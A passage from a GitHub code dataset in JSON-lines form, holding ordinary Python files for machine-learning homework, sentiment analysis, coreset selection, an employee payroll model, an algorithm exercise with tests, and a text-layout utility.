pClass[element[1]]  = pClass[element[1]]  + 1\n        totalElements = totalElements + 1\n        matVal = element[0]\n        for i in range(0, len(matVal)):\n            for j in range(0, len(matVal[i])):\n                valToAdd = i * 10 + j\n                if matVal[i][j] == \" \":\n                    featureLabel[element[1]][valToAdd][0] += 1\n                else:\n                    featureLabel[element[1]][valToAdd][1] += 1\n\n    kVal = 10\n\n    for iterV in range(0,2):\n        #print(featureLabel[iterV])\n        featureLabel[iterV] = (featureLabel[iterV]+kVal) /(pClass[iterV]+2*kVal)\n\n        #print(featureLabel[iterV])\n\n    pClass = pClass/totalElements\n\n    outfile = \"pClass.npy\"\n    np.save(outfile, pClass)\n\n    outfile = \"featureLabel.npy\"\n    np.save(outfile, featureLabel)\n\n    print(pClass)\n\n\ndef naiveBWrapper():\n    a = 0\n\n    with open('trainPair.json') as fh:\n        a = json.load(fh)\n\n    print(len(a))\n    naiveBayes(a)\n    findClassLabel()\n\n\n\nfrom os import listdir\nfrom os.path import isfile, join\n\ndef convertToPickle():\n\n    mypath = \"txt_yesno/training/\"\n    onlyfiles = [f for f in listdir(mypath) if isfile(join(mypath, f))]\n\n    #print(onlyfiles)\n\n    trainPair = []\n    for i in onlyfiles:\n        readFile = open(mypath+i,\"r\")\n        labels = i[:-4].split('_')\n        #print(labels)\n        content = readFile.readlines()\n        example = []\n        for j in range(8):\n            example = []\n            for k in range(25):\n                example.append(content[j][j*15+5:(j+1)*15].rstrip())\n            if labels[j] == '0':\n                tupleToAdd = (example, 0)\n            else:\n                tupleToAdd = (example, 1)\n            trainPair.append(tupleToAdd)\n\n    with open('trainPair.json', 'w') as fp:\n        json.dump(trainPair, fp)\n\n\n\n    mypath = \"txt_yesno/yes_test/\"\n    onlyfiles = [f for f in listdir(mypath) if isfile(join(mypath, f))]\n\n    #print(onlyfiles)\n\n    testPair = []\n    for i in onlyfiles:\n        readFile = open(mypath+i, \"r\")\n        content = readFile.readlines()\n        example = []\n        for line in content:\n            example.append(line.rstrip())\n        testPair.append((example, 1))\n\n\n    mypath = \"txt_yesno/no_test/\"\n    onlyfiles = [f for f in listdir(mypath) if isfile(join(mypath, f))]\n\n    #print(onlyfiles)\n\n    for i in onlyfiles:\n        readFile = open(mypath+i, \"r\")\n        content = readFile.readlines()\n        example = []\n        for line in content:\n            example.append(line.rstrip())\n        testPair.append((example, 0))\n\n\n    with open('testPair.json', 'w') as fp:\n        json.dump(testPair, fp)\n\nif __name__ == \"__main__\":\n    #convertToPickle()\n    naiveBWrapper()\n","repo_name":"sidhartha4/AIFall2017","sub_path":"HW3/Part2/EC/2ec_1.py","file_name":"2ec_1.py","file_ext":"py","file_size_in_byte":4338,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"6599173360","text":"from Sentiment import sentiment_analyzer_v1\nimport pandas as pd\n\ndef sentenceCount(content):\n\tsentences, outside, inside = 0, 0, 1\n\tstate = outside\n\tfor i in content:\n\t\tif (i == '.' or i == '!' or i == '?' or i == '...'):\n\t\t\tstate = outside\n\t\telif state == outside:\n\t\t\tstate = inside\n\t\t\tsentences += 1\n\treturn sentences\n\ndef addsentiments(input_df):\n\tnegative,positive,neutral=[],[],[]\n\tfor j in range(len(input_df['text'])):\n\t\ttemp = sentiment_analyzer_v1.sentiment_scores(input_df.iloc[j]['text'])\n\t\tnegative.append(temp['neg'])\n\t\tneutral.append(temp['neu'])\n\t\tpositive.append(temp['pos'])\n\tinput_df['neg']=negative\n\tinput_df['neu']=neutral\n\tinput_df['pos']=positive\n\treturn input_df\n\ndef addsentenceCount(input_df):\n\tsentences = []\n\tfor i in range(len(input_df['text'])):\n\t\ttemp = sentenceCount(input_df.iloc[i]['text'])\n\t\tsentences.append(temp)\n\tinput_df['sentence_Count'] = sentences\n\treturn input_df\n\ndef addSentimentCategory(input_df):\n\tsentimentCategory = []\n\tfor i in range(len(input_df['text'])):\n\t\tif(input_df.iloc[i]['neg']>input_df.iloc[i]['pos']):\n\t\t\tsentimentCategory.append('negative')\n\t\telif(input_df.iloc[i]['pos']>input_df.iloc[i]['neg']):\n\t\t\tsentimentCategory.append('positive')\n\t\telse:\n\t\t\tsentimentCategory.append('neutral')\n\tinput_df['sentimentCategory'] = sentimentCategory\n\treturn input_df\n\nif __name__ == \"__main__\" : \n\tinput_df = pd.read_csv('../Datasets/Working_Data/all_data_refined_v4.csv', encoding='utf-8')\n\tinput_df = addsentenceCount(input_df)\n\tinput_df = addsentiments(input_df)\n\tinput_df = addSentimentCategory(input_df)\n\tinput_df.to_csv(r'../Datasets/Working_Data/all_data_refined_v3.csv', index = False)\n\n","repo_name":"ineelshah/Fake-News-Detection","sub_path":"Sentiment/addToCsv.py","file_name":"addToCsv.py","file_ext":"py","file_size_in_byte":1642,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"35"}
{"seq_id":"20338130350","text":"#!/usr/bin/python3\n# -*- coding:utf-8 -*-\nimport sqlite3\n\nclass Db(object):\n    def __init__(self):\n        self.conn = sqlite3.connect('db.db')\n        self.cursor = self.conn.cursor()\n        pass\n\n    # insert\n    def ddl(self, sql):\n        self.cursor.execute(sql)\n        res = self.cursor.rowcount\n        self.close()\n        return res\n\n    # select\n    def dml(self, sql):\n        self.cursor.execute(sql)\n        res = self.cursor.fetchall()\n        self.close()\n        return res\n\n    def close(self):\n        self.cursor.close()\n        self.conn.commit()\n        self.conn.close()\n\nif __name__ == '__main__':\n    Db()","repo_name":"chenbool/kan84","sub_path":"db.py","file_name":"db.py","file_ext":"py","file_size_in_byte":632,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"35"}
{"seq_id":"17801054279","text":"\"\"\"\nA very advanced employee management system\n\n\"\"\"\n\nimport logging\nfrom dataclasses import dataclass\n\nlogging.basicConfig(level=logging.INFO)\nlogger = logging.getLogger()\nlogger.setLevel(logging.INFO)\n\n\n@dataclass\nclass Employee:\n    \"\"\"Basic employee representation\"\"\"\n\n    first_name: str\n    last_name: str\n    role: str\n\n    @property\n    def fullname(self):\n        return f\"{self.first_name} {self.last_name}\"\n\n\n@dataclass\nclass HourlyEmployee(Employee):\n    \"\"\"Represents employees who are paid on worked hours base\"\"\"\n\n    hours_worked: int = 0\n    hourly_rate: float = 50.0\n\n    def log_work(self, hours: int) -> None:\n        \"\"\"Log working hours\"\"\"\n\n        self.hours_worked += hours\n\n\n@dataclass\nclass SalariedEmployee(Employee):\n    \"\"\"Represents employees who are paid on a monthly salary base\"\"\"\n\n    salary: float\n    vacation_days: int = 0\n\n    def take_holiday(self, requested_days: int = 1, payout: bool = False) -> None:\n        \"\"\"Take a single holiday or a payout vacation\"\"\"\n\n        if payout:\n            try:\n                if self.vacation_days < requested_days:\n                    msg = f\"{self.fullname} have not enough vacation days. \" \\\n                          f\"Remaining days: {self.vacation_days}. Requested: {requested_days}\"\n                    raise ValueError(msg)\n                self.vacation_days -= requested_days\n                msg = f\"Taking a payout vacation, {requested_days} days. Remaining vacation days: {self.vacation_days}\"\n                logger.info(msg)\n            except ValueError as va:\n                logger.info(va)\n        else:\n            try:\n                if self.vacation_days < 1:\n                    msg = f\"{self.fullname} have not enough vacation days. \" \\\n                          f\"Remaining days: {self.vacation_days}. Requested: 1\"\n                    raise ValueError(msg)\n                self.vacation_days -= 1\n                msg = f\"Taking a single holiday. Remaining vacation days: {self.vacation_days}\"\n                logger.info(msg)\n            except ValueError as va:\n                logger.info(va)\n\n\n@dataclass\nclass Company:\n    \"\"\"A company representation\"\"\"\n\n    title: str\n    employees: list[Employee]\n\n    def get_ceos(self) -> list[Employee]:\n        \"\"\"Return employees list with role of CEO\"\"\"\n\n        result = []\n        for employee in self.employees:\n            if employee.role.lower() == \"ceo\":\n                result.append(employee.fullname)\n        return result\n\n    def get_managers(self) -> list[Employee]:\n        \"\"\"Return employees list with role of manager\"\"\"\n\n        result = []\n        for employee in self.employees:\n            if employee.role.lower() == \"manager\":\n                result.append(employee.fullname)\n        return result\n\n    def get_developers(self) -> list[Employee]:\n        \"\"\"Return employees list with role of developer\"\"\"\n\n        result = []\n        for employee in self.employees:\n            if employee.role.lower() == \"developer\":\n                result.append(employee.fullname)\n        return result\n\n    @staticmethod\n    def pay(employee: Employee) -> float:\n        \"\"\"Pay to employee\"\"\"\n\n        if isinstance(employee, SalariedEmployee):\n            msg = (\n                      \"Paying monthly salary of $%.2f to %s.\"\n                  ) % (employee.salary, employee.fullname)\n            logger.info(msg)\n            return employee.salary\n\n        if isinstance(employee, HourlyEmployee):\n            paying = employee.hourly_rate * employee.hours_worked\n            msg = (\n                      \"Paying %s hourly rate of %.2f for %i hours is $%.2f.\"\n                  ) % (employee.fullname, employee.hourly_rate, employee.hours_worked, paying)\n            logger.info(msg)\n            return paying\n\n    def pay_all(self) -> None:\n        \"\"\"Pay all the employees in this company\"\"\"\n\n        total_pay = 0\n        for employee in self.employees:\n            total_pay += self.pay(employee)\n        msg = (\n                  \"The total payment to all employees is: $%.2f\"\n              ) % (total_pay)\n        logger.info(msg)\n        return total_pay\n","repo_name":"HECTPUMHUI/HomeWorkGroup","sub_path":"system.py","file_name":"system.py","file_ext":"py","file_size_in_byte":4124,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"37719067821","text":"# coding: utf-8\nimport os\nimport tensorflow as tf\nimport numpy as np\nimport tensorflow.contrib.keras as kr\nfrom model.cnn_model import TCNNConfig, TextCNN\nfrom model.data_processing import read_category, read_vocab\nos.environ['TF_CPP_MIN_LOG_LEVEL'] = '2'\nbase_dir = 'data'\nvocab_dir = os.path.join(base_dir, 'vocab.txt')\nsave_dir = 'checkpoints/textcnn'\nsave_path = os.path.join(save_dir, 'best_validation')\nclass CnnModel:\n    def __init__(self):\n        self.config = TCNNConfig()\n        self.categories, self.cat_to_id = read_category()\n        self.words, self.word_to_id = read_vocab(vocab_dir)\n        self.config.vocab_size = len(self.words)\n        self.model = TextCNN(self.config)\n        self.session = tf.Session()\n        self.session.run(tf.global_variables_initializer())\n        # 加载模型\n        saver = tf.train.Saver()\n        saver.restore(sess=self.session, save_path=save_path)\n    def emotion_score(self, message):\n        data = [self.word_to_id[x] for x in message if x in self.word_to_id]\n        feed_dict = {\n            self.model.input_x: kr.preprocessing.sequence.pad_sequences([data], self.config.seq_length),\n            self.model.keep_prob: 1.0\n        }\n        # 类别概率的输出\n        predictions = self.session.run(self.model.softmax_tensor1, feed_dict=feed_dict)\n        return np.squeeze(predictions)[1]\n# if __name__ == '__main__':\n#     import time\n#     for i in open('data/demo_predict.txt', 'r', encoding='utf-8'):\n#         st = time.clock()\n#         tf.reset_default_graph()\n#         test_text = i.strip()\n#         predict_score = CnnModel().emotion_score(test_text)\n#         print('{}，情感分析结果：{}'.format(test_text, predict_score))\n#         print('time used:{}'.format(time.clock()-st))","repo_name":"CarryChang/C-CNN-for-Chinese-Sentiment-Analysis","sub_path":"SA_predict.py","file_name":"SA_predict.py","file_ext":"py","file_size_in_byte":1768,"program_lang":"python","lang":"en","doc_type":"code","stars":37,"dataset":"github-code","pt":"35"}
{"seq_id":"32309859799","text":"#!/usr/bin/env python\nimport logging\nimport argparse\nfrom server import LinscheidServer\n\nlogger = logging.getLogger(__name__)\n\n\ndef parse_args():\n    arg_parser = argparse.ArgumentParser()\n    arg_parser.add_argument('-p', '--port', default=8000, type=int, help='port')\n    arg_parser.add_argument('-l', '--log-level', default='INFO', help='log level')\n    arg_parser.add_argument('--debug', action='store_true', help='run in debug mode')\n\n    args = arg_parser.parse_args()\n    return args.port, args.log_level, args.debug\n\n\ndef main(port):\n    server = LinscheidServer(port=port)\n    server.start()\n\n\nif __name__ == '__main__':\n    port, log_level, debug = parse_args()\n\n    if debug:\n        log_level = 'DEBUG'\n\n    logging.basicConfig(level=log_level)\n\n    main(port)\n","repo_name":"Vilos92/greg_linscheid","sub_path":"run.py","file_name":"run.py","file_ext":"py","file_size_in_byte":773,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"35"}
{"seq_id":"70264841702","text":"import os\nimport torch.nn as nn\nimport argparse\nimport deepcore.nets as nets\nimport deepcore.datasets as datasets\nimport deepcore.methods as methods\nfrom torchvision import transforms\nfrom utils import *\nfrom datetime import datetime\nfrom time import sleep\n\n# custom\nfrom arguments import parser\nfrom ptflops import get_model_complexity_info\n\ndef main():\n    # parse arguments\n    args = parser.parse_args()\n    gpus = \"\"\n    for i, g in enumerate(args.gpu):\n        gpus = gpus+str(g)\n        if i != len(args.gpu)-1:\n            gpus = gpus+\",\"\n            \n    state = {k: v for k, v in args._get_kwargs()}\n    if args.dataset == 'ImageNet':\n        args.device = 'cuda' if torch.cuda.is_available() else 'cpu'\n    else:\n        args.device = 'cuda:'+str(gpus) if torch.cuda.is_available() else 'cpu'\n\n    args, checkpoint, start_exp, start_epoch = get_more_args(args)\n\n    for exp in range(start_exp, args.num_exp):\n\n        exp = exp+1 #TOFIXTOFIXTOFIX\n\n        # Get checkpoint if have\n        if args.save_path != \"\":\n            checkpoint_name = \"{dst}_{net}_{mtd}_exp{exp}_se{se}_{dat}_fr{fr}_\".format(dst=args.dataset,\n                                                                                         net=args.model,\n                                                                                         mtd=args.selection,\n                                                                                         dat=datetime.now(),\n                                                                                         exp=exp,\n                                                                                         se=args.selection_epochs,\n                                                                                         fr=args.fraction)\n\n        print('\\n================== Exp %d ==================' % exp)\n        print(\"dataset: \", args.dataset, \", model: \", args.model, \", selection: \", args.selection, \", num_ex: \",\n              args.num_exp, \", epochs: \", args.epochs, \", fraction: \", args.fraction, \", seed: \", args.seed,\n              \", lr: \", args.lr, \", save_path: \", args.save_path, \", resume: \", args.resume, \", device: \", args.device,\n              \", checkpoint_name: \" + checkpoint_name if args.save_path != \"\" else \"\", \"\\n\", sep=\"\")\n\n        channel, im_size, num_classes, class_names, mean, std, dst_train, dst_test = datasets.__dict__[args.dataset](args)\n        args.channel, args.im_size, args.num_classes, args.class_names = channel, im_size, num_classes, class_names\n        torch.random.manual_seed(exp+args.seed) # Should change this for changing seed\n\n        # Core-set Selection\n        if \"subset\" in checkpoint.keys():\n            subset = checkpoint['subset']\n            selection_args = checkpoint[\"sel_args\"]\n        else:\n            selection_args = dict(epochs=args.selection_epochs,\n                                  selection_method=args.uncertainty,\n                                  balance=args.balance,\n                                  greedy=args.submodular_greedy,\n                                  function=args.submodular,\n                                  dst_test = dst_test\n                                  )\n            method = methods.__dict__[args.selection](dst_train, args, args.fraction, args.seed, **selection_args)\n            start_time = time.time()\n            ##### Main Function #####\n            subset, warmup_test_acc = method.select()\n            print(\"(should be unordered) subset[:10]:\", subset[\"indices\"][:10])\n\n            core_selection_time = time.time() - start_time\n            print(\"Elapsed Time: \", core_selection_time)\n\n        # Handle weighted subset\n        if_weighted = \"weights\" in subset.keys()\n        #if if_weighted:\n        #    dst_subset = WeightedSubset(dst_train, subset[\"indices\"], subset[\"weights\"])\n        #else:\n        dst_subset = torch.utils.data.Subset(dst_train, subset[\"indices\"])\n\n        # BackgroundGenerator for ImageNet to speed up dataloaders\n        if args.dataset == \"ImageNet\" or args.dataset == \"ImageNet30\":\n            train_loader = DataLoaderX(dst_subset, batch_size=args.train_batch, shuffle=True,\n                                       num_workers=args.workers, pin_memory=False)\n            test_loader = DataLoaderX(dst_test, batch_size=args.train_batch, shuffle=False,\n                                      num_workers=args.workers, pin_memory=False)\n        else:\n            train_loader = torch.utils.data.DataLoader(dst_subset, batch_size=args.train_batch, shuffle=True,\n                                                       num_workers=args.workers, pin_memory=False)\n            test_loader = torch.utils.data.DataLoader(dst_test, batch_size=args.train_batch, shuffle=False,\n                                                      num_workers=args.workers, pin_memory=False)\n\n        # Listing cross-architecture experiment settings if specified.\n        models = [args.model]\n        if isinstance(args.cross, list):\n            for model in args.cross:\n                if model != args.model:\n                    models.append(model)\n\n        # Model Training\n        for model in models:\n            print(\"| Training on model %s\" % model)\n\n            # Get configurations for Distrubted SGD\n            network, criterion, optimizer, scheduler, rec = get_configuration(args, nets, model, checkpoint, train_loader, start_epoch)\n            print(\"Main Model: {}\".format(args.model))\n            macs, params = get_model_complexity_info(network, (3, args.im_size[0], args.im_size[1]), as_strings=True, print_per_layer_stat=False, verbose=False)\n            print('{:<30}  {:<8}'.format('MACs: ', macs))\n            print('{:<30}  {:<8}'.format('Number of parameters: ', params))\n            \n            best_prec1 = checkpoint[\"best_acc1\"] if \"best_acc1\" in checkpoint.keys() else 0.0\n\n            # Save the checkpont with only the susbet.\n            if args.save_path != \"\" and args.resume == \"\":\n                save_checkpoint({\"exp\": exp,\n                                 \"subset\": subset,\n                                 \"sel_args\": selection_args},\n                                os.path.join(args.save_path, checkpoint_name + (\"\" if model == args.model else model\n                                             + \"_\") + \"unknown.ckpt\"), 0, 0.)\n\n            ##### Training #####\n            for epoch in range(start_epoch, args.epochs):\n                # train for one epoch\n                train(train_loader, network, criterion, optimizer, scheduler, epoch, args, rec, if_weighted=if_weighted)\n\n                # evaluate on validation set\n                if args.test_interval > 0 and (epoch + 1) % args.test_interval == 0:\n                    prec1 = test(test_loader, network, criterion, epoch, args, rec)\n\n                    # remember best prec@1 and save checkpoint\n                    is_best = prec1 > best_prec1\n\n                    if is_best:\n                        best_prec1 = prec1\n                        if args.save_path != \"\":\n                            rec = record_ckpt(rec, epoch)\n                            save_checkpoint({\"exp\": exp,\n                                             \"epoch\": epoch + 1,\n                                             #\"state_dict\": network.state_dict(),\n                                             #\"opt_dict\": optimizer.state_dict(),\n                                             \"best_acc1\": best_prec1,\n                                             \"rec\": rec,\n                                             \"subset\": subset,\n                                             \"elapsed_time\": core_selection_time,\n                                             \"sel_args\": selection_args},\n                                            os.path.join(args.save_path, checkpoint_name + (\n                                                \"\" if model == args.model else model + \"_\") + \"unknown.ckpt\"),\n                                            epoch=epoch, prec=best_prec1)\n\n            # Prepare for the next checkpoint\n            if args.save_path != \"\":\n                try:\n                    os.rename(\n                        os.path.join(args.save_path, checkpoint_name + (\"\" if model == args.model else model + \"_\") +\n                                     \"unknown.ckpt\"), os.path.join(args.save_path, checkpoint_name +\n                                     (\"\" if model == args.model else model + \"_\") + \"%f.ckpt\" % best_prec1))\n                except:\n                    save_checkpoint({\"exp\": exp,\n                                     \"epoch\": args.epochs,\n                                     #\"state_dict\": network.state_dict(),\n                                     #\"opt_dict\": optimizer.state_dict(),\n                                     \"best_acc1\": best_prec1,\n                                     \"rec\": rec,\n                                     \"subset\": subset,\n                                     \"sel_args\": selection_args},\n                                    os.path.join(args.save_path, checkpoint_name +\n                                                 (\"\" if model == args.model else model + \"_\") + \"%f.ckpt\" % best_prec1),\n                                    epoch=args.epochs - 1,\n                                    prec=best_prec1)\n\n            print('| Best accuracy: ', best_prec1, \", on model \" + model if len(models) > 1 else \"\", end=\"\\n\\n\")\n            print(\"len(subset): \", len(subset[\"indices\"]))\n            start_epoch = 0\n            checkpoint = {}\n            sleep(2)\n\nif __name__ == '__main__':\n    main()","repo_name":"dongmean/AL_vs_SubsetSelection","sub_path":"DeepCore/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":9580,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"35"}
{"seq_id":"11394224758","text":"import sys\n#Example test:   [3, 1, 2, 4, 3]\n#Output: 1\n\n\n#My move: Running sum() in a loop. Bad move\ndef solution(B):\n    i = 0;\n    shift = 0;\n    mins = list();\n    possible_splits = len(B) - 1;\n    for i in range(possible_splits):\n        shift = i+1;\n        left = [B[0]] if i==0 else B[:shift];\n        right = B[shift:];\n        left_sum = sum(left);\n        right_sum = sum(right);\n        abs_diff = abs(left_sum - right_sum);\n        mins.append(abs_diff);\n        i+=1;\n    return min(mins);\n\n\n\n#Mercenary Move_1: Two passes\ndef solution_B(A): \n  \n    #1st pass\n    parts = [0] * len(A)\n    parts[0] = A[0]\n  \n    for idx in range(1, len(A)):\n        parts[idx] = A[idx] + parts[idx-1]\n  \n    #2nd pass\n    solution = sys.maxsize\n    for idx in range(0, len(parts)-1):\n        solution = min(solution,abs(parts[-1] - 2 * parts[idx]));  \n  \n    return solution\n\n\n#Mercenary Move_2: One pass\ndef solution_C(A):\n    sumLeft = A[0]\n    sumRight = sum(A[1:])\n    difference = abs(sumLeft - sumRight)\n\n    for i in range (1, len(A) - 1):\n        sumLeft += A[i]\n        sumRight -= A[i]\n        tempDifference = abs(sumLeft - sumRight)\n\n        if (tempDifference < difference):\n            difference = tempDifference\n\n        i = i + 1\n\n    return difference\n\n\n#Mercenary Move_3: One pass\ndef solution_D(A):\n    P = 1\n    N = len(A)\n    L = sum(A[:P])\n    R = sum(A[P:])\n    minimal_difference = abs(L - R)\n    for P in range(2, N):\n        current = A[P - 1]\n        L += current\n        R -= current\n        minimal_difference = min(minimal_difference, abs(L - R))\n    return minimal_difference\n    \n\n\n\n# ex =[3, 1, 2, 4, 3, 8,9,23, 67,90,87];\n# ex = [3, 1, 2, 4, 3, 8,9,23, 67,90,87, 89,74,56,29,91,46,73];\n# ex = [0] * 100000; #Performance test array\n\n\n# print(solution(ex)); # Test solution A\n# print(solution_B(ex)); #Test solution B\n# print(solution_C(ex)); #Test solution C\n# print(solution_D(ex)); #Test solution D\n\n\n#TEST correctness\nimport unittest\nclass TapeEquilibrium(unittest.TestCase):\n\n    def test_solution(self):\n        input1 =  [3, 1, 2, 4, 3, 8,9,23, 67,90,87];\n        input2 =  [3, 1, 2, 4, 3, 8,9,23, 67,90,87, 89,74,56,29,91,46,73];\n        missing1 = solution(input1);\n        missing2 = solution(input2);\n        self.assertEqual(missing1,57,'Should be 57');\n        self.assertEqual(missing2,17,'Should be 17');\n\n        \n    def test_solution_B(self):\n        input1 =  [3, 1, 2, 4, 3, 8,9,23, 67,90,87];\n        input2 =  [3, 1, 2, 4, 3, 8,9,23, 67,90,87, 89,74,56,29,91,46,73];\n        missing1 = solution_B(input1);\n        missing2 = solution_B(input2);\n        self.assertEqual(missing1,57,'Should be 57');\n        self.assertEqual(missing2,17,'Should be 17');\n\n        \n    def test_solution_C(self):\n        input1 =  [3, 1, 2, 4, 3, 8,9,23, 67,90,87];\n        input2 =  [3, 1, 2, 4, 3, 8,9,23, 67,90,87, 89,74,56,29,91,46,73];\n        missing1 = solution_C(input1);\n        missing2 = solution_C(input2);\n        self.assertEqual(missing1,57,'Should be 57');\n        self.assertEqual(missing2,17,'Should be 17');\n\n    def test_solution_D(self):\n        input1 =  [3, 1, 2, 4, 3, 8,9,23, 67,90,87];\n        input2 =  [3, 1, 2, 4, 3, 8,9,23, 67,90,87, 89,74,56,29,91,46,73];\n        missing1 = solution_D(input1);\n        missing2 = solution_D(input2);\n        self.assertEqual(missing1,57,'Should be 57');\n        self.assertEqual(missing2,17,'Should be 17');\n\n\nif __name__=='__main__':\n    unittest.main();","repo_name":"grayey/codilityEcmaPhY","sub_path":"tapeEquilibrium/PY.py","file_name":"PY.py","file_ext":"py","file_size_in_byte":3452,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"13675874687","text":"HORIZONTAL = 0\nVERTICAL = 1\n\nALIGN_LEFT = 0\nALIGN_CENTER = 1\nALIGN_RIGHT = 2\nALIGN_TOP = 0\nALIGN_BOTTOM = 2\n\n\ndef string_size(string):\n    \"\"\"2D dimension of string once printed. Units are char.\n\n    Parameters:\n        string (str):\n\n    Returns:\n        list: List of int [width, height]\n    \"\"\"\n\n    rows = string.split('\\n')\n    col = max([len(row) for row in rows])\n\n    return [col, len(rows)]\n\ndef prod_iters(*iterables):\n    \"\"\"Product of iterables component-wise\n\n    Parameters:\n        *iterables (list): sequence of iterables\n\n    Returns:\n        list:\n\n    \"\"\"\n    zipped = zip(*iterables)\n    prod = []\n    for cols in zipped:\n        p = 1\n        for col in cols:\n            p *= col\n        prod.append(p)\n    return prod\n\n\ndef get_align_offset(string, size, align):\n    \"\"\"Returns the positional offset of aligning a string inside a box\n\n    Parameters:\n        string (str): String to align\n        box (list): List of int [width, height] Box size\n        align (list): list of int\n\n    Returns:\n        list: List of int [x, y]\n\n    \"\"\"\n\n    str_list = string.split('\\n')\n    str_size = string_size(string)\n    delta = [-size[0]+str_size[0], -size[1]+str_size[1]]\n    center_x = float(align[0])*float(delta[0])/2.0\n    center_y = float(align[1])*float(delta[1])/2.0\n\n    return [round(center_x), round(center_y)]\n\ndef get_loop_offset(pos, size):\n    \"\"\"Returns a position looped around a box\n\n    Parameters:\n        pos (list): List of int [x, y] Position\n        box (list): List of int [width, height]\n\n    Returns:\n        list: List of int [x, y]\n\n    \"\"\"\n\n    return [pos[0] % size[0], pos[1] % size[1]]\n\ndef pos_align_move(pos, string, size, offset, align, loop):\n    align_offset = get_align_offset(string, size, align=align)\n    offset = [offset[0] + align_offset[0] + pos[0], offset[1] + align_offset[1] + pos[1]]\n    if loop:\n        offset = get_loop_offset(offset, size)\n    return offset\n\ndef get_char_at_pos(string, pos, filler=' '):\n    \"\"\"Returns the character at 2D position in string.\n    If none found use filler.\n\n    Parameters:\n        string (str): \n        pos (list): List of int [x, y] Position\n        filler (str): Single character for filling. Space by default\n\n    Returns:\n        str: single character\n    \"\"\"\n\n    str_list = string.split('\\n')\n    try:\n        if pos[0] < 0 or pos[1] < 0:\n            raise\n        return str_list[pos[1]][pos[0]]\n    except:\n        return filler\n\ndef string_move(string, size, offset, loop, filler=' '):\n    \"\"\"Move and return a string inside a box\n\n    Parameters:\n        string (str): \n        box (list): List of int [width, height]\n        offset (list): List of int [x, y]\n        loop (bool): True if string is looping\n        filler (str): Single character for filling. Space by default\n\n    Returns:\n        string: Modified string\n    \"\"\"\n\n    new_str = ''\n    for row in range(size[1]):\n        for col in range(size[0]):\n            char_offset = [col+offset[0], row+offset[1]]\n            if loop:\n                char_offset = get_loop_offset(char_offset, size)\n            new_str += get_char_at_pos(string, char_offset, filler=filler)\n        if row < size[1]-1:\n            new_str += '\\n'\n\n    return new_str\n\ndef string_align_move(string, size, offset, align, loop, filler=' '):\n    \"\"\"Align and position a string in relation to a size \n\n    Parameters:\n        string (str):\n        size (list): list of int [widht, height]\n        offset (list): list of int [x, y]\n        align_h (int): range(0-2)\n        align_v (int): range(0-2)\n        loop (bool): True if string is looping\n        filler (str): Single character for filling. Space by default\n\n    Returns:\n        str: Aligned and moved string\n\n    \"\"\"\n\n    # calculate offset\n    align_offset = get_align_offset(string, size, align=align)\n    offset = [offset[0] + align_offset[0], offset[1] + align_offset[1]]\n    # apply offset\n    return string_move(string, size, offset, loop, filler=filler)\n\n\nclass App():\n\n    def __init__(self, menu=None):\n        self.menu = menu\n        self.selected = menu\n\n\n    def __str__(self):\n        return str(self.menu)\n\n    def cursor(self):\n        return self.menu.cursor_display(pos=True)\n\n\n    '''\n    @property\n    def focus(self):\n        return self.menu.focus\n\n    @focus.setter\n    def focus(self, focus):\n        self.menu.focus = focus\n    \n    def has_item(self, item, recursive=False):\n\n        childrens = self.items\n        while childrens:\n            current = childrens.pop(0)\n            if current == item:\n                return True\n            if recursive:\n                childrens.extend(current.items)\n\n    def has_parent(self, item, recursive=False):\n\n        parent = self.parent\n        while parent:\n            current = parent\n            if current == item:\n                return True\n            if recursive:\n                parent = current.parent\n    '''\n\n\nclass Action():\n\n    def __init__(self, action, triggers=[], args=(), kwargs={}):\n        self.triggers = triggers\n        self.action = action\n        self.args = args\n        self.kwargs = kwargs\n\n    def do(self, *args, **kwargs):\n        args += self.args\n        kwargs.update(self.kwargs)\n        return self.action(*args, **kwargs)\n\n    def check(self, trigger):\n        if trigger in self.triggers:\n            return True\n\n    def check_do(self, *args, **kwargs):\n        if self.check(kwargs['trigger']):\n            self.do(*args, **kwargs)\n\n\n\nclass Box():\n    def __init__(self, txt='', size=[0,0], above=None, under=None, cursor=True, cursor_pos=[0,0] ,auto_size=True, align=[ALIGN_CENTER, ALIGN_CENTER], loop=False, offset=[0,0], parent=None, *args, **kwargs):\n        super().__init__(*args, **kwargs)\n        self._txt = txt\n        self._size = size\n        self.auto_size = auto_size\n        self.align = align\n        self.offset = offset\n        self.loop = loop\n        self.parent = parent\n        self.above = above\n        self._under = under\n        self.cursor = cursor\n        self._cursor_pos = cursor_pos\n\n    def __str__(self):\n        return self.txt\n\n    @property\n    def size(self):\n        if self.auto_size:\n            try:\n                try:\n                    return self.parent.item_size_request(self)\n                    #print('Size: Request')\n                except:\n                    #print('Size: Parent')\n                    return self.parent.size\n            except:\n                try:\n                    #print('Size: Self')\n                    return string_size(self._txt)\n                except:\n                    pass\n        return self._size\n\n    @size.setter\n    def size(self, size):\n        self._size = size\n\n    @property\n    def under(self):\n        return self._under\n\n    @under.setter\n    def under(self, under):\n        self._under = under\n        self.under.above = self\n\n    @property\n    def txt(self):\n        return string_align_move(str(self._txt), self.size, [-self.offset[0], -self.offset[1]], self.align, self.loop)\n\n    @txt.setter\n    def txt(self, txt):\n        self._txt = txt\n\n    @property\n    def cursor_pos(self):\n        return self.process_pos(self._cursor_pos)\n\n    @cursor_pos.setter\n    def cursor_pos(self, pos):\n        self._cursor_pos = pos\n\n    def bounds(self):\n        size = string_size(self._txt)\n        bottom_right = [size[0]-1, size[1]-1]\n        return self.process_pos([0,0], bottom_right)\n\n    def process_pos(self, *pos):\n        new_pos = []\n        for p in pos:\n            new_pos.append(pos_align_move(p, self._txt, self.size, self.offset, self.align, self.loop))\n        return list(*new_pos)\n\n\n\nclass Label(Box):\n\n    def __init__(self, txt, *args, **kwargs):\n        super().__init__(*args, **kwargs)\n        self.txt = txt\n\n\nclass ActionReady():\n\n    def __init__(self, actions=[], *args, **kwargs):\n        #super().__init__(*args, **kwargs)\n        self.actions = actions\n\n    def check(self, 